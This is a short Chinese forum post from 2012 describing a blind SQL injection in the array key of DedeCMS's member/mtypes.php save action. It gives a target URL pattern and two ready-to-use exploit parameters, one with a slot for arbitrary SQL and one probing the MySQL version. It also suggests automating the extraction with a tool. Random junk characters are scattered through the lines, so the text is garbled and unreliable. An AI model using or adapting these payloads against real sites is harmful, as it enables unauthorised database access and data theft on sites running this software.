需要magic_quotes_gpc = Off,所以说是鸡肋啊.
) E" ]$ e, g5 P& c) f* Q" ]
( w7 U3 | Q8 k- T' W ' }! Z& j$ ~# x1 K
发生在数组key里的注射漏洞,有点意思.& a# P0 S0 s, N
0 G/ [" F4 H+ Z: C" w这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下/ |1 n% D1 O" i: C7 A
& R3 y" T- d- W+ h0 h5 Zhttp://www.xxx.com /dede/member/mtypes.php?dopost=save. ` c \( {! v# r5 h7 r
5 o) x8 G2 v$ d
exploit:
$ @# L! W. P- Nmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r% }' m5 _ ^* V& G
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r9 q, c; i7 W' R2 |5 e
|
发表于 2012-12-20 08:08:09
收藏
支持
反对